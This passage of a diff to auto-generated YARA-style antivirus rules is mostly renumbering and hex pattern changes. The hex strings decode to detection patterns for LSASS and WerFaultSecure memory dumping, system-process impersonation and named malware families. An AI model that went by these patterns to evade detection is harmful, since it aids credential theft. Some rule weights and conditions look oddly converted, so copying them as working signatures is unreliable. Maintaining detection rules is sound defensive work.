01 9c 80 80 00 86 40 43 01 } //-32698 - $a_80_92 = {00 86 c0 41 01 9e 00 00 01 8f c0 c3 00 4d 00 44 01 85 40 04 00 86 80 44 01 9c 80 80 00 19 40 00 01 16 80 00 80 c5 80 01 00 c6 c0 c1 01 de 00 00 01 cd 40 00 01 cf c0 c4 01 59 00 c5 01 16 00 00 80 02 41 00 00 02 01 80 00 1a 01 00 00 16 80 00 80 45 81 01 00 46 41 c5 02 5e 01 00 01 45 81 01 00 46 c1 c1 02 5e 01 00 01 1e 00 80 00 16 00 00 00 04 10 00 00 00 74 68 69 73 5f 73 69 67 61 74 74 72 6c 6f 67 } // -32768 - $a_00_93 = {00 00 } //768 + $a_90_24 = {00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 12 00 00 00 00 00 06 00 98 09 00 00 04 2e 2e 2a 00 00 00 02 80 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 12 00 00 00 03 00 06 00 bd 25 01 00 0d 15 00 00 10 01 00 00 32 35 62 33 32 36 34 37 31 39 31 64 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 05 12 00 00 00 0a 00 00 } //1282 + $a_c0_26 = {80 00 00 00 c5 80 00 00 c6 c0 c0 01 dc 00 80 00 5c 40 00 00 45 00 01 00 46 40 c1 00 81 80 01 00 c0 00 00 00 01 c1 01 00 5c 40 00 02 45 00 02 00 46 40 c2 00 5e 00 00 01 1e 00 80 00 0a 00 00 00 } //17920 + $a_62_28 = {65 00 04 07 00 00 00 69 6e 73 65 72 74 00 04 03 00 00 00 62 6d 00 04 0e 00 00 00 67 65 74 5f 69 6d 61 67 65 70 61 74 68 00 04 09 00 00 00 4d 70 43 6f 6d 6d 6f 6e 00 04 18 00 00 00 53 65 74 50 65 72 73 69 73 74 43 6f 6e 74 65 78 74 4e 6f 50 61 74 68 00 04 16 00 00 00 47 65 6e 65 72 69 63 53 } //29696 + $a_65_29 = {57 69 6e 6c 6f 67 6f 6e 00 03 00 00 00 00 00 00 00 00 04 03 00 00 00 6d 70 00 04 06 00 00 00 43 4c 45 41 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd 8d 01 00 0d 15 00 00 78 01 00 00 31 35 62 33 61 36 61 64 64 62 62 37 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 06 1e 00 00 00 05 00 00 00 06 40 } //29561 + $a_80_30 = {00 46 c0 c0 00 5c 00 80 00 1c 80 00 00 1a 00 00 00 16 40 04 80 45 00 00 00 46 00 c1 00 80 00 00 00 c1 40 01 00 01 81 01 00 42 01 80 00 5c 80 80 02 5a 00 00 00 16 00 02 80 45 c0 01 00 46 00 c2 00 81 40 02 00 } // 64 + $a_45_33 = {02 00 46 00 c3 00 5e 00 00 01 45 c0 02 00 46 40 c3 00 5e 00 00 01 1e 00 80 00 0e 00 00 00 04 07 00 00 00 73 74 72 69 6e 67 00 04 06 00 00 00 6c 6f 77 65 72 00 04 03 00 00 00 62 6d 00 04 0e 00 00 00 67 65 74 5f 69 6d 61 67 65 70 61 74 68 00 04 05 00 00 00 66 69 6e 64 00 04 0d 00 00 00 5c 73 76 63 68 6f 73 74 2e 65 78 65 00 03 01 00 00 00 00 00 00 00 04 09 00 00 00 4d 70 43 6f 6d 6d } //128 + $a_50_36 = {72 73 69 73 74 43 6f 6e 74 65 78 74 43 6f 75 6e 74 4e 6f 50 61 74 68 00 04 16 00 00 00 47 65 6e 65 72 69 63 53 79 73 74 65 6d 57 69 6e 6c 6f 67 6f 6e 00 03 00 00 00 00 00 00 00 00 04 03 00 00 00 6d 70 00 04 09 00 00 00 49 4e 46 45 43 54 45 44 00 04 06 00 00 00 43 4c 45 41 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 00 00 00 } //25927 + $a_00_38 = {00 12 00 00 00 00 00 0a } //31232 + $a_00_39 = {00 2a 44 43 4f 5f 4d 70 44 69 73 61 62 6c 65 53 63 61 6e 52 65 70 61 72 73 65 50 6f 69 6e 74 73 4f 66 66 6c 69 6e 65 46 69 6c 65 73 04 00 00 00 01 00 00 } //23296 + $a_01_40 = {00 13 56 6d 50 72 6f 63 65 73 73 50 72 6f 74 65 63 74 69 6f 6e 74 01 00 00 04 00 00 00 3f 00 00 00 28 00 31 00 2c 00 30 00 29 00 2c 00 25 00 73 00 79 00 73 00 74 00 65 00 6d 00 25 00 5c 00 6d 00 70 00 74 00 65 00 73 00 74 00 5f 00 38 00 32 00 64 00 64 00 37 00 38 00 66 00 36 00 2d 00 38 00 30 00 34 00 30 00 2d 00 34 00 32 00 66 00 36 00 2d 00 38 00 37 00 38 00 32 00 2d 00 64 00 65 00 33 00 38 00 66 00 62 00 38 00 31 } //23296 + $a_00_42 = {2e 00 65 00 78 00 65 00 00 00 2a 00 00 00 28 00 30 00 2c 00 30 00 78 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 29 00 2c 00 25 00 73 00 79 00 73 00 74 00 65 00 6d 00 25 00 5c 00 63 00 73 00 72 00 73 00 73 00 2e 00 65 00 78 00 65 00 00 00 2a 00 00 } //49 + $a_00_44 = {78 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 29 00 2c 00 25 00 73 00 79 00 73 00 74 00 } //44 xffffffffffffffff),%syst + $a_00_45 = {25 00 5c 00 6c 00 73 00 61 00 73 00 73 00 2e 00 65 00 78 00 65 00 00 00 1d 00 00 00 28 00 30 00 2c 00 2d 00 31 00 29 00 2c 00 25 00 73 00 79 00 73 00 74 00 65 00 6d 00 25 00 5c 00 77 00 69 00 6e 00 6c 00 6f 00 67 00 6f 00 6e 00 2e 00 65 00 78 00 65 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 13 00 00 00 02 00 05 } //101 + $a_00_46 = {00 11 2e 2a 57 69 6e 33 32 2f 58 69 61 7a 61 69 2e 2a 00 00 00 08 } //-26624 + $a_00_47 = {00 12 2e 2a 57 69 6e 33 32 2f 58 65 65 6c 79 61 6b 2e 2a 00 00 00 08 } //-26624 + $a_00_48 = {00 14 2e 2a 4d 53 49 4c 2f 53 6f 6c 6f 72 69 67 61 74 65 2e 2a 00 00 00 08 } //-26624 + $a_00_49 = {00 00 00 00 00 00 00 00 } //31232 + $a_00_50 = {00 13 00 00 00 03 00 06 } //31232 + $a_00_51 = {00 0a 00 0a 00 02 00 21 23 42 4d 5f 56 75 6c 6e 57 65 72 66 61 75 6c 74 53 65 63 75 72 65 00 0a 00 30 01 57 65 72 46 61 75 6c 74 53 65 63 75 72 65 2e 65 78 65 20 77 61 73 20 73 74 61 72 74 65 64 2e 20 53 65 63 75 72 65 20 6d 6f 64 65 20 3d 20 25 64 ec ff 11 01 45 6e 63 72 79 70 74 44 75 6d 70 53 74 72 65 61 6d 00 } //30720 + $a_02_52 = {00 0d 15 00 00 47 02 00 00 38 62 62 33 35 64 38 31 37 66 33 64 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 06 47 00 00 00 45 00 00 00 46 40 c0 00 46 80 c0 00 5a 00 00 00 16 c0 00 80 45 00 00 00 46 40 c0 00 06 c0 c0 00 16 00 04 80 45 00 } //-17152 + $a_00_53 = {c1 00 46 80 c0 00 5a 00 00 00 16 c0 00 80 45 00 00 00 46 00 c1 00 06 c0 c0 00 16 c0 01 80 45 00 00 00 46 40 c1 00 46 80 c0 00 5a 00 00 00 16 80 00 80 45 00 00 00 46 40 c1 00 06 c0 c0 00 17 80 41 00 16 80 00 80 } //0 + $a_00_54 = {46 } //-16315 F + $a_40_56 = {00 46 80 c2 00 80 00 00 00 5c 80 00 01 00 00 80 00 54 00 00 00 19 40 80 85 16 00 04 80 4b 00 43 00 c1 40 03 00 01 41 00 00 42 01 80 00 5c 80 80 02 17 80 c1 00 16 40 02 80 4b 00 43 00 c1 80 03 00 01 41 00 00 } //256 + $a_00_57 = {5c 80 80 02 17 80 c1 00 16 80 00 80 45 c0 01 00 46 c0 c3 00 5e 00 00 01 54 00 00 00 19 40 00 88 16 c0 01 80 4b 40 44 00 c1 80 04 00 5c 80 80 01 57 c0 c4 00 16 80 00 80 45 c0 01 00 46 c0 c3 00 5e 00 00 01 45 c0 01 00 46 00 c2 00 5e 00 00 01 1e 00 80 00 14 00 00 00 04 10 00 00 00 74 68 69 73 5f 73 69 67 61 74 74 72 6c 6f 67 00 03 01 00 00 00 00 00 00 00 04 08 00 00 00 6d 61 74 63 68 } //322 + $a_67_60 = {5f 70 61 74 68 00 03 02 00 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 04 03 00 00 00 6d 70 00 04 06 00 00 00 43 4c 45 41 4e 00 04 07 00 00 00 73 74 72 69 6e 67 00 04 06 00 00 00 6c 6f 77 65 72 00 03 12 00 00 00 00 00 00 00 04 05 00 00 00 66 69 6e 64 00 04 13 00 00 00 5c 77 69 6e 64 6f } //28009 + $a_73_61 = {73 74 65 6d 33 32 5c 00 04 13 00 00 00 5c 77 69 6e 64 6f 77 73 5c 73 79 73 77 6f 77 36 34 5c 00 04 09 00 00 00 49 4e 46 45 43 54 45 44 00 03 0d 00 00 00 00 00 00 00 04 04 00 00 00 73 75 62 00 03 f3 ff ff ff ff ff ff ff 04 0e 00 00 00 5c 73 63 68 74 61 73 6b 73 2e 65 78 65 00 } //29559 + $a_00_66 = {0d 15 } //-7235 ᔍ + $a_02_67 = {00 00 39 33 62 33 37 34 39 33 35 35 34 37 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 06 5c 00 00 00 45 00 00 00 46 40 c0 00 46 80 c0 00 5a 00 00 00 16 c0 00 80 45 00 00 00 46 40 c0 00 06 c0 c0 00 16 00 05 80 45 00 00 00 46 00 c1 00 46 80 c0 00 5a 00 00 00 16 c0 00 80 45 00 00 00 46 00 c1 00 06 c0 c0 00 16 c0 02 80 45 00 00 00 46 40 c1 00 46 80 c0 00 5a 00 00 00 16 c0 00 80 45 00 00 00 46 40 c1 00 06 c0 c0 00 16 80 00 80 45 80 01 00 46 c0 c1 00 5e 00 00 01 1a 40 00 00 16 80 00 80 45 80 01 00 46 c0 c1 00 5e 00 00 01 45 00 02 00 46 40 c2 00 80 00 00 00 5c 80 00 01 5a 00 00 } //0 + $a_01_68 = {80 45 80 01 00 46 80 c2 00 80 00 00 00 c2 00 80 00 02 01 00 00 5c 80 00 02 5a 00 00 00 16 80 00 80 45 80 01 00 46 c0 c1 00 5e 00 00 01 45 00 02 00 46 c0 c2 00 80 00 00 00 5c 80 00 01 85 00 02 00 86 00 43 01 9c 80 80 00 86 40 43 01 9a 00 00 00 16 40 00 80 17 80 c3 00 16 80 00 80 85 80 01 00 86 c0 41 01 9e 00 00 01 8f c0 c3 00 4d 00 44 01 85 40 04 00 86 80 44 01 9c 80 80 00 19 40 00 01 16 80 00 80 c5 80 01 00 c6 c0 c1 01 de 00 00 01 cd 40 00 01 cf c0 c4 01 59 00 c5 01 16 00 00 80 02 41 00 00 02 01 80 00 1a 01 00 00 16 80 00 80 45 81 01 00 46 41 c5 02 5e 01 00 01 45 81 01 } //5632 + $a_c1_69 = {5e 01 00 01 1e 00 80 00 16 00 00 00 04 10 00 00 00 74 68 69 73 5f 73 69 67 61 74 74 72 6c 6f 67 00 03 02 00 00 00 00 00 00 00 04 08 00 00 00 6d 61 74 63 68 65 64 00 04 07 00 00 00 75 74 66 38 70 31 00 03 03 00 00 00 00 00 00 00 03 04 00 00 00 00 00 00 00 04 03 00 00 00 6d 70 00 04 06 00 00 00 43 4c 45 41 4e 00 04 06 00 00 00 73 79 73 69 6f 00 04 0d 00 00 00 49 73 46 69 6c 65 45 78 69 73 74 73 00 04 14 00 00 00 49 73 4b 6e 6f 77 6e 46 72 69 65 6e 64 6c 79 46 69 6c 65 00 04 15 00 00 00 47 65 74 46 69 6c 65 4c 61 73 74 57 72 69 74 65 54 69 6d 65 00 04 0e 00 00 00 47 65 74 4c } //17920 + $a_52_70 = {73 75 6c 74 00 04 08 00 00 00 53 75 63 63 65 73 73 00 03 00 00 00 00 00 00 00 00 03 80 96 98 00 00 00 00 00 03 00 91 10 b6 02 00 00 00 04 09 00 00 00 4d 70 43 6f 6d 6d 6f 6e 00 04 10 00 00 00 47 65 74 43 75 72 72 65 6e 74 54 69 6d 65 54 00 03 3c 00 00 00 00 00 00 00 03 60 27 00 00 00 00 00 00 04 09 00 00 00 49 4e 46 45 43 54 45 44 00 00 00 00 00 } //29537 + $a_00_74 = {0d 15 } //-7235 ᔍ + $a_02_75 = {00 00 39 33 62 33 63 30 32 36 37 37 33 32 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 06 5c 00 00 00 45 00 00 00 46 40 c0 00 46 80 c0 00 5a 00 00 00 16 c0 00 80 45 00 00 00 46 40 c0 00 06 c0 c0 00 16 00 05 80 45 00 00 00 46 00 c1 00 46 80 c0 00 5a 00 00 00 16 c0 00 80 45 00 00 00 46 00 c1 00 06 c0 c0 00 16 c0 02 80 45 00 00 00 46 40 c1 00 46 80 c0 00 5a 00 00 00 16 c0 00 80 45 00 00 00 46 40 c1 00 06 c0 c0 00 16 80 00 80 45 80 01 00 46 c0 c1 00 5e 00 00 01 1a 40 00 00 16 80 00 80 45 80 01 00 46 c0 c1 00 5e 00 00 01 45 00 02 00 46 40 c2 00 80 00 00 00 5c 80 00 01 5a 00 00 } //0 + $a_01_76 = {80 45 80 01 00 46 80 c2 00 80 00 00 00 c2 00 80 00 02 01 00 00 5c 80 00 02 5a 00 00 00 16 80 00 80 45 80 01 00 46 c0 c1 00 5e 00 00 01 45 00 02 00 46 c0 c2 00 80 00 00 00 5c 80 00 01 85 00 02 00 86 00 43 01 9c 80 80 00 86 40 43 01 9a 00 00 00 16 40 00 80 17 80 c3 00 16 80 00 80 85 80 01 00 86 c0 41 01 9e 00 00 01 8f c0 c3 00 4d 00 44 01 85 40 04 00 86 80 44 01 9c 80 80 00 19 40 00 01 16 80 00 80 c5 80 01 00 c6 c0 c1 01 de 00 00 01 cd 40 00 01 cf c0 c4 01 59 00 c5 01 16 00 00 80 02 41 00 00 02 01 80 00 1a 01 00 00 16 80 00 80 45 81 01 00 46 41 c5 02 5e 01 00 01 45 81 01 } //5632 + $a_c1_77 = {5e 01 00 01 1e 00 80 00 16 00 00 00 04 10 00 00 00 74 68 69 73 5f 73 69 67 61 74 74 72 6c 6f 67 00 03 02 00 00 00 00 00 00 00 04 08 00 00 00 6d 61 74 63 68 65 64 00 04 07 00 00 00 75 74 66 38 70 31 00 03 03 00 00 00 00 00 00 00 03 04 00 00 00 00 00 00 00 04 03 00 00 00 6d 70 00 04 06 00 00 00 43 4c 45 41 4e 00 04 06 00 00 00 73 79 73 69 6f 00 04 0d 00 00 00 49 73 46 69 6c 65 45 78 69 73 74 73 00 04 14 00 00 00 49 73 4b 6e 6f 77 6e 46 72 69 65 6e 64 6c 79 46 69 6c 65 00 04 15 00 00 00 47 65 74 46 69 6c 65 4c 61 73 74 57 72 69 74 65 54 69 6d 65 00 04 0e 00 00 00 47 65 74 4c } //17920 + $a_52_78 = {73 75 6c 74 00 04 08 00 00 00 53 75 63 63 65 73 73 00 03 00 00 00 00 00 00 00 00 03 80 96 98 00 00 00 00 00 03 00 91 10 b6 02 00 00 00 04 09 00 00 00 4d 70 43 6f 6d 6d 6f 6e 00 04 10 00 00 00 47 65 74 43 75 72 72 65 6e 74 54 69 6d 65 54 00 03 3c 00 00 00 00 00 00 00 03 60 27 00 00 00 00 00 00 04 09 00 00 00 49 4e 46 45 43 54 45 44 00 00 00 00 00 } //29537 + $a_00_82 = {0d 15 00 00 } //21437 + $a_38_84 = {35 64 65 34 34 65 31 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 0a 6a 00 00 00 05 00 00 00 06 40 40 00 41 80 00 00 1c 80 00 } //12853 + $a_00_85 = {00 16 80 00 80 05 00 00 00 06 c0 40 00 1e 00 00 01 05 00 01 00 06 40 41 00 45 00 00 00 46 80 c1 00 5c 00 80 00 1c 80 00 00 45 c0 01 00 46 00 c2 00 80 00 00 00 5c 80 00 01 00 00 80 00 45 c0 01 } //6657 + $a_c2_86 = {80 00 00 00 5c 80 00 01 5a 00 00 00 16 80 00 80 85 00 00 00 86 c0 40 01 9e 00 00 01 85 80 02 00 86 c0 42 01 9c 80 80 00 17 00 43 01 16 80 00 80 c5 00 00 00 c6 c0 c0 01 de 00 00 01 c6 40 43 01 } //17920 + $a_01_87 = {16 40 01 80 c6 c0 43 01 17 00 c4 01 16 80 00 80 c6 40 44 01 57 80 c4 01 16 80 00 80 c5 00 00 00 c6 c0 c0 01 de 00 00 01 c5 00 00 00 c6 40 c0 01 01 c1 04 00 dc 80 00 01 da 00 00 00 16 80 00 80 c6 00 45 01 57 40 c5 01 16 80 00 80 c5 00 00 00 c6 c0 c0 01 de 00 00 01 c5 80 05 00 c6 c0 c5 01 dc 80 80 00 19 00 c6 01 16 80 00 80 05 01 00 00 06 c1 40 02 1e 01 00 01 05 81 02 00 06 41 46 02 1c 81 80 00 45 81 06 00 46 c1 c6 02 86 01 47 02 c1 41 07 00 5c 81 80 01 19 40 01 8f 16 80 00 80 85 01 00 00 86 c1 40 03 9e 01 00 01 83 01 00 03 c5 01 00 00 c6 81 c1 03 dc 81 80 00 80 01 80 03 17 00 43 } //-32745 + $a_00_88 = {80 c5 01 00 00 c6 c1 c0 03 de 01 00 01 c5 c1 01 00 c6 01 c2 03 00 02 00 03 dc 81 00 01 80 01 80 03 c5 c1 01 00 c6 c1 c7 03 00 02 00 03 41 02 08 00 dc 41 80 01 c5 01 00 00 c6 41 c8 03 de 01 00 01 1e 00 80 00 22 00 00 00 04 03 00 00 00 6d 70 00 04 10 00 00 00 67 65 74 5f 6d 70 61 74 74 72 69 62 75 74 65 00 04 11 00 00 00 52 50 46 3a 54 6f 70 4c 65 76 65 6c 46 69 6c 65 00 04 06 00 00 } //5635 + $a_45_89 = {4e 00 04 07 00 00 00 73 74 72 69 6e 67 00 04 06 00 00 00 6c 6f 77 65 72 00 04 0c 00 00 00 67 65 74 66 69 6c 65 6e 61 6d 65 00 04 09 00 00 00 4d 70 43 6f 6d 6d 6f 6e 00 04 10 00 00 00 50 61 74 68 54 6f 57 69 6e 33 32 50 61 74 68 } //17152 + $a_00_90 = {00 00 47 65 74 4d 6f 75 6e 74 65 64 46 69 6c 65 42 61 63 6b 69 6e 67 46 69 6c 65 50 61 74 } //1024 + $a_03_91 = {00 00 00 70 } //104 + $a_10_92 = {00 00 00 67 } //101 + $a_76_93 = {72 73 69 6f 6e 69 6e 66 6f 00 00 04 11 00 00 00 4f 72 69 67 69 6e 61 6c 46 69 6c 65 6e 61 6d 65 00 04 13 00 00 00 57 65 72 46 61 75 6c 74 53 65 63 75 72 65 2e 65 78 65 00 04 0d 00 00 00 49 6e 74 65 72 6e 61 6c 4e 61 6d 65 00 04 0f 00 00 00 57 65 72 46 61 75 6c 74 53 65 63 75 72 65 00 } //29797 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*16897+(#a_61_2 & 1)*26988+(#a_6e_3 & 1)*18292+(#a_00_4 & 1)*24948+(#a_43_5 & 1)*384+(#a_70_6 & 1)*29251+(#a_41_7 & 1)*28793+(#a_00_8 & 1)*29808+(#a_72_9 & 1)*384+(#a_64_10 & 1)*25454+(#a_65_11 & 1)*29810+(#a_73_12 & 1)*18548+(#a_53_13 & 1)*29537+(#a_43_14 & 1)*-32751+(#a_65_15 & 1)*29808+(#a_74_16 & 1)*21364+(#a_54_17 & 1)*30313+(#a_64_18 & 1)*25089+(#a_6e_19 & 1)*384+(#a_70_20 & 1)*29251+(#a_72_22 & 1)*384+(#a_90_24 & 1)*1282+(#a_31_25 & 1)*12599+(#a_00_26 & 1)*220+(#a_65_27 & 1)*28271+(#a_06_31 & 1)*0+(#a_00_32 & 1)*0+(#a_00_33 & 1)*17664+(#a_6f_34 & 1)*0+(#a_61_35 & 1)*28494+(#a_08_40 & 1)*0+(#a_00_42 & 1)*37+(#a_00_45 & 1)*40+(#a_00_46 & 1)*115+(#a_00_48 & 1)*40+(#a_00_49 & 1)*120+(#a_08_54 & 1)*0+(#a_00_55 & 1)*3328+(#a_08_57 & 1)*2052+(#a_40_63 & 1)*1536+(#a_00_65 & 1)*30+(#a_03_67 & 1)*0+(#a_09_68 & 1)*112+(#a_43_69 & 1)*17998+(#a_00_73 & 1)*770+(#a_00_74 & 1)*0+(#a_6f_75 & 1)*28015+(#a_00_79 & 1)*27904+(#a_c0_80 & 1)*0+(#a_00_82 & 1)*192+(#a_00_83 & 1)*0+(#a_00_84 & 1)*70+(#a_5c_85 & 1)*13943+(#a_2e_86 & 1)*27507+(#a_00_88 & 1)*-32698+(#a_80_92 & 1)*-32768+(#a_00_93 & 1)*768) >=2 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*16897+(#a_61_2 & 1)*26988+(#a_6e_3 & 1)*18292+(#a_00_4 & 1)*24948+(#a_43_5 & 1)*384+(#a_70_6 & 1)*29251+(#a_41_7 & 1)*28793+(#a_00_8 & 1)*29808+(#a_72_9 & 1)*384+(#a_64_10 & 1)*25454+(#a_65_11 & 1)*29810+(#a_73_12 & 1)*18548+(#a_53_13 & 1)*29537+(#a_43_14 & 1)*-32751+(#a_65_15 & 1)*29808+(#a_74_16 & 1)*21364+(#a_54_17 & 1)*30313+(#a_64_18 & 1)*25089+(#a_6e_19 & 1)*384+(#a_70_20 & 1)*29251+(#a_72_22 & 1)*384+(#a_90_24 & 1)*1282+(#a_c0_26 & 1)*17920+(#a_62_28 & 1)*29696+(#a_65_29 & 1)*29561+(#a_80_30 & 1)*64+(#a_45_33 & 1)*128+(#a_50_36 & 1)*25927+(#a_00_38 & 1)*31232+(#a_00_39 & 1)*23296+(#a_01_40 & 1)*23296+(#a_00_42 & 1)*49+(#a_00_44 & 1)*44+(#a_00_45 & 1)*101+(#a_00_46 & 1)*-26624+(#a_00_47 & 1)*-26624+(#a_00_48 & 1)*-26624+(#a_00_49 & 1)*31232+(#a_00_50 & 1)*31232+(#a_00_51 & 1)*30720+(#a_02_52 & 1)*-17152+(#a_00_53 & 1)*0+(#a_00_54 & 1)*-16315+(#a_40_56 & 1)*256+(#a_00_57 & 1)*322+(#a_67_60 & 1)*28009+(#a_73_61 & 1)*29559+(#a_00_66 & 1)*-7235+(#a_02_67 & 1)*0+(#a_01_68 & 1)*5632+(#a_c1_69 & 1)*17920+(#a_52_70 & 1)*29537+(#a_00_74 & 1)*-7235+(#a_02_75 & 1)*0+(#a_01_76 & 1)*5632+(#a_c1_77 & 1)*17920+(#a_52_78 & 1)*29537+(#a_00_82 & 1)*21437+(#a_38_84 & 1)*12853+(#a_00_85 & 1)*6657+(#a_c2_86 & 1)*17920+(#a_01_87 & 1)*-32745+(#a_00_88 & 1)*5635+(#a_45_89 & 1)*17152+(#a_00_90 & 1)*1024+(#a_03_91 & 1)*104+(#a_10_92 & 1)*101+(#a_76_93 & 1)*29797) >=2 } -rule _InfrastructureShared_404{ +rule _InfrastructureShared_407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " strings : $a_5f_0 = {75 6c 6e 57 65 72 66 61 75 6c 74 53 65 63 75 72 65 00 0a 00 30 01 57 65 72 46 61 75 6c 74 53 65 63 75 72 65 2e 65 78 65 20 77 61 73 20 73 74 61 72 74 65 64 2e 20 53 65 63 75 72 65 20 6d 6f 64 65 20 3d 20 25 64 ec ff 11 01 45 6e 63 } //16931 - $a_74_1 = {75 6d 70 53 74 72 65 61 6d 00 00 bd 3c 01 00 0d 15 00 00 27 01 00 00 32 64 62 33 36 65 38 37 65 31 63 61 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 03 14 00 00 00 05 00 00 00 06 40 40 00 41 80 00 00 1c 80 00 01 45 c0 00 00 46 00 c1 00 80 00 00 00 5c 80 00 01 57 40 c1 00 16 40 01 80 94 00 80 00 } //31090 + $a_74_1 = {75 6d 70 53 74 72 65 61 6d 00 00 bd 5c 02 00 0d 15 00 00 47 02 00 00 38 62 62 33 35 64 38 31 37 66 33 64 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 06 47 00 00 00 45 00 00 00 46 40 c0 00 46 80 c0 00 5a 00 00 00 16 c0 00 80 45 00 00 00 46 40 c0 00 06 c0 c0 00 16 00 04 80 45 00 00 00 46 00 c1 00 } //31090 condition: ((#a_5f_0 & 1)*16931+(#a_74_1 & 1)*31090) >=10 } -rule _InfrastructureShared_405{ +rule _InfrastructureShared_408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -4453,7 +4503,7 @@ rule _InfrastructureShared_405{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_406{ +rule _InfrastructureShared_409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -4463,7 +4513,7 @@ rule _InfrastructureShared_406{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_407{ +rule _InfrastructureShared_410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 11 00 21 " @@ -4483,7 +4533,7 @@ rule _InfrastructureShared_407{ ((#a_46_0 & 1)*21283+(#a_72_1 & 1)*25697+(#a_76_2 & 1)*16723+(#a_69_3 & 1)*27765+(#a_00_7 & 1)*92+(#a_00_9 & 1)*58+(#a_03_10 & 1)*2304+(#a_4d_11 & 1)*8993+(#a_00_13 & 1)*119+(#a_00_15 & 1)*50+(#a_00_16 & 1)*51) >=16 } -rule _InfrastructureShared_408{ +rule _InfrastructureShared_411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -4497,7 +4547,7 @@ rule _InfrastructureShared_408{ ((#a_46_0 & 1)*21283+(#a_6f_1 & 1)*25964+(#a_00_3 & 1)*0+(#a_6a_4 & 1)*29268+(#a_00_5 & 1)*29285) >=6 } -rule _InfrastructureShared_409{ +rule _InfrastructureShared_412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -4515,7 +4565,7 @@ rule _InfrastructureShared_409{ ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*22380+(#a_4c_2 & 1)*8993+(#a_2e_4 & 1)*385+(#a_42_5 & 1)*29801+(#a_01_6 & 1)*3328+(#a_41_7 & 1)*10497+(#a_00_8 & 1)*11853+(#a_29_9 & 1)*-32501) >=10 } -rule _InfrastructureShared_410{ +rule _InfrastructureShared_413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -4533,7 +4583,7 @@ rule _InfrastructureShared_410{ ((#a_46_0 & 1)*21283+(#a_73_1 & 1)*24941+(#a_46_2 & 1)*21283+(#a_2e_4 & 1)*385+(#a_63_5 & 1)*28270+(#a_67_6 & 1)*21294+(#a_6e_7 & 1)*29808+(#a_33_8 & 1)*26967+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_411{ +rule _InfrastructureShared_414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -4551,7 +4601,7 @@ rule _InfrastructureShared_411{ ((#a_46_0 & 1)*21283+(#a_2e_2 & 1)*385+(#a_63_3 & 1)*28270+(#a_67_4 & 1)*21294+(#a_6e_5 & 1)*29808+(#a_33_6 & 1)*26967+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_412{ +rule _InfrastructureShared_415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -4568,7 +4618,7 @@ rule _InfrastructureShared_412{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*24936+(#a_00_4 & 1)*10+(#a_6e_5 & 1)*27247+(#a_01_6 & 1)*30060+(#a_00_7 & 1)*30720+(#a_00_8 & 1)*30720+(#a_00_9 & 1)*30720) >=10 } -rule _InfrastructureShared_413{ +rule _InfrastructureShared_416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -4586,7 +4636,7 @@ rule _InfrastructureShared_413{ ((#a_46_0 & 1)*21283+(#a_6f_1 & 1)*20852+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_de_4 & 1)*0+(#a_29_5 & 1)*-32496+(#a_79_6 & 1)*25454+(#a_6e_7 & 1)*22330+(#a_70_8 & 1)*25940) >=10 } -rule _InfrastructureShared_414{ +rule _InfrastructureShared_417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -4605,7 +4655,7 @@ rule _InfrastructureShared_414{ ((#a_46_0 & 1)*21283+(#a_69_1 & 1)*25205+(#a_64_2 & 1)*19813+(#a_01_3 & 1)*25931+(#a_01_4 & 1)*3840+(#a_65_5 